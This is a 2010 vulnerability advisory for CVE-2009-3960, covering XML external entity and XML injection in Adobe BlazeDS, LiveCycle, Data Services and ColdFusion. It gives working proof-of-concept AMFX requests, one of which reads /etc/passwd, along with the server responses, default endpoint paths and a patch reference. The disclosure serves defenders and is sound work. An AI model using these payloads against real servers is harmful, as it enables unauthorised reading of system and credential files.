security-assessment.com

# Vulnerability Advisory

| | |
|---|---|
| **Name** | Multiple Adobe Products – XML External Entity Injection And XML Injection |
| **CVE** | CVE-2009-3960 |
| **Adobe PSIRT** | APSB10-05 - http://www.adobe.com/support/security/bulletins/apsb10-05.html |
| **Date Released** | February 22, 2010 |
| **Affected Software** | BlazeDS 3.2 and earlier versions<br>LiveCycle 9.0, 8.2.1, and 8.0.1<br>LiveCycle Data Services 3.0, 2.6.1, and 2.5.1<br>Flex Data Services 2.0.1<br>ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2 |
| **Researcher** | Roberto Suggi Liverani – roberto.suggi@security-assessment.com |
| **Link** | http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and _XML_Injection.pdf |

## Description

Security-Assessment.com discovered that multiple Adobe products with different Data Services versions are vulnerable to XML External Entity (XXE) and XML injection attacks.
XML external Entities injection allows a wide range of XML based attacks, including local file disclosure, TCP scans and Denial of Service condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection. For more information about the implications associated to this vulnerability, refer to the RFC2518 (17.7 Implications of XML External Entities): http://www.ietf.org/rfc/rfc2518.txt

## Product Review

Adobe Data Services components provide Flex/RIA applications with data messaging, remoting and management capabilities.

The discovered vulnerabilities affect the HTTPChannel servlet classes which are respectively "mx.messaging.channels.HTTPChannel" and "mx.messaging.channels.SecureHTTPChannel". These classes are part of the Data Services Messaging classes and can be found in the flex-messaging-common.jar Java archive.

The HTTPChannel transports data in the AMFX format, which is the text-based XML representation of AMF. The HTTPChannel endpoints are defined in the services-config.xml file, located within the Flex/WEB-INF folder of the application. By default, the HTTPChannel classes are mapped to the following endpoints:

| **HTTPChannel Endpoint URIs** |
|---|
| http://{server.name}:{server.port}/{context.root}/messagebroker/http |
| https://{server.name}:{server.port}/{context.root}/messagebroker/httpsecure |

Note that the HTTPChannel may be mapped to different endpoints. This depends on the deployed application and the framework in use (e.g. BlazeDS, Adobe LiveCycle Data Services, etc.).

**Exploitation – XML External Entity Injection**

XML entities can be declared and included within AMFX requests passed to the HTTPChannel. The XML parser parses the payload and successfully processes injected entities.

The following table shows an example of XML external entity injection which leads to local file disclosure. The AMFX request is sent via the HTTPChannel endpoint in BlazeDS.

**XML External Entity Injection – Local File Disclosure PoC – BlazeDS – Request**

```
POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ <!ENTITY x3 SYSTEM "/etc/passwd"> ]>
<amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx">
  <body>
    <object type="flex.messaging.messages.CommandMessage">
      <traits>
        <string>body</string><string>clientId</string><string>correlationId</string>
        <string>destination</string><string>headers</string><string>messageId</string>
        <string>operation</string><string>timestamp</string><string>timeToLive</string>
      </traits><object><traits />
      </object>
      <null /><string /><string />
      <object>
        <traits>
          <string>DSId</string><string>DSMessagingVersion</string>
        </traits>
        <string>nil</string><int>1</int>
      </object>
      <string>&x3;</string>
<int>5</int><int>0</int><int>0</int>
    </object>
  </body>
</amfx>
```

**XML External Entity Injection – Local File Inclusion PoC – BlazeDS – Response**

Response:

```
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl" mustUnderstand="true">
<string>;jsessionid=2191D3647221B72039C5B05D38084A42</string></header>
<body targetURI="/onResult" responseURI="">
<object type="flex.messaging.messages.AcknowledgeMessage">
<traits><string>timestamp</string><string>headers</string>
<string>body</string><string>correlationId</string>
<string>messageId</string><string>timeToLive</string>
<string>clientId</string><string>destination</string>
</traits><double>1.257387140632E12</double><object>
<traits><string>DSMessagingVersion</string>
<string>DSId</string></traits><double>1.0</double>
<string>BDE929FE-270D-3B56-1061-616E8B938429</string>
</object><null/><string>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
[...]
```

The above injection was successfully tested on multiple Adobe products, as shown in the following table:

| Product Name/Version/OS | HTTPChannel endpoint URI | Method | Protocol |
|---|---|---|---|
| Adobe BlazeDS 3.2.0.39<br>Linux Ubuntu 9.04 / Tomcat 6.0.14 | {server.name}:{server.port}/<br>{context.root}/messagebroker/http<br>{server.name}:{server.port}/<br>{context.root}/messagebroker/httpsecure | POST,<br>GET | HTTP,<br>HTTPS |
| Adobe LiveCycle Data Services ES2 3.0<br>Windows XP SP2 / Tomcat 6.0.14 | {server.name}:{server.port}/<br>{context.root}/messagebroker/http<br>{server.name}:{server.port}/<br>{context.root}/messagebroker/httpsecure | POST,<br>GET | HTTP,<br>HTTPS |
| ColdFusion 9.0<br>Windows XP SP2 / Tomcat 6.0.14 | {server.name}:{server.port}/<br>{context.root}/flex2gateway/http<br>{server.name}:{server.port}/<br>{context.root}/flex2gateway/httpsecure | POST,<br>GET | HTTP,<br>HTTPS |
| Adobe LiveCycle ES2<br>Windows XP SP2 / IBM Websphere 7.0 | {server.name}:{server.port}/<br>{context.root}/messagebroker/http<br>{server.name}:{server.port}/<br>{context.root}/messagebroker/httpsecure | POST,<br>GET | HTTP,<br>HTTPS |

The vendor has released several patches for this vulnerability. See the Solution section of this document for more information.

**Exploitation – XML Injection**

The XML parser lacks of proper input and output validation controls. Security-Assessment.com managed to inject arbitrary XML content which was returned in the XML response.
The following table shows an XML injection in the BlazeDS HTTPChannel. The injected payload becomes part of the response. In this case, injection is possible via the "responseURI" attribute.

| **XMLInjection – BlazeDS - Request** |
|---|
| POST /samples/messagebroker/http HTTP/1.1<br>Content-type: application/x-amf<br><br><?xml version="1.0" encoding="utf-8"?><br><amfx ver="3"><body targetURI="" responseURI="**d" injectedattr="anything**"><null/><br></body></amfx> |

| **XMLInjection – BlazeDS - Response** |
|---|
| AMF XML Response:<br><br><?xml version="1.0" encoding="utf-8"?><br><amfx ver="3"><body targetURI="**d" injectedattr="anything**"<br>responseURI=""><null/></body></amfx></body></amfx> |

The above injection was successfully tested on multiple Adobe products, as shown in the following table:

| **Product Name/Version/OS** | **HTTP Endpoint URI** | **Method** | **Protocol** |
|---|---|---|---|
| Adobe BlazeDS 3.2.0.39<br>Linux Ubuntu 9.04 / Tomcat 6.0.14 | {server.name}:{server.port}/<br>{context.root}/messagebroker/http<br>{server.name}:{server.port}/<br>{context.root}/messagebroker/httpsecure | POST, GET | HTTP, HTTPS |
| Adobe LiveCycle Data Services ES2 3.0<br>Windows XP SP2 / Tomcat 6.0.14 | {server.name}:{server.port}/<br>{context.root}/messagebroker/http<br>{server.name}:{server.port}/<br>{context.root}/messagebroker/httpsecure | POST, GET | HTTP, HTTPS |
| ColdFusion 9.0<br>Windows XP SP2 / JRun Web Server | {server.name}:{server.port}/<br>{context.root}/flex2gateway/http<br>{server.name}:{server.port}/<br>{context.root}/flex2gateway/httpsecure | POST, GET | HTTP, HTTPS |
| Adobe LiveCycle ES2<br>Windows XP SP2 / IBM Websphere 7.0 | {server.name}:{server.port}/<br>{context.root}/messagebroker/http<br>{server.name}:{server.port}/<br>{context.root}/messagebroker/httpsecure | POST, GET | HTTP, HTTPS |

The vendor has released several patches for this vulnerability. See the Solution section of this document for more information.

**Solution**

Security-Assessment.com follows responsible disclosure and promptly contacted the vendor after discovering the issues. The vendor was contacted on the 6th November 2009 and a reply was received on the same day. The vendor released security patches on the 11th February 2010.

The security patches can be downloaded at the following website:
http://www.adobe.com/support/security/bulletins/apsb10-05.html

**Credit**

Discovered and advised to Adobe in November 2009 by Roberto Suggi Liverani of Security-Assessment.com.
Personal Page: http://malerisch.net/

**About Security-Assessment.com**

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com
Phone +649 925 1534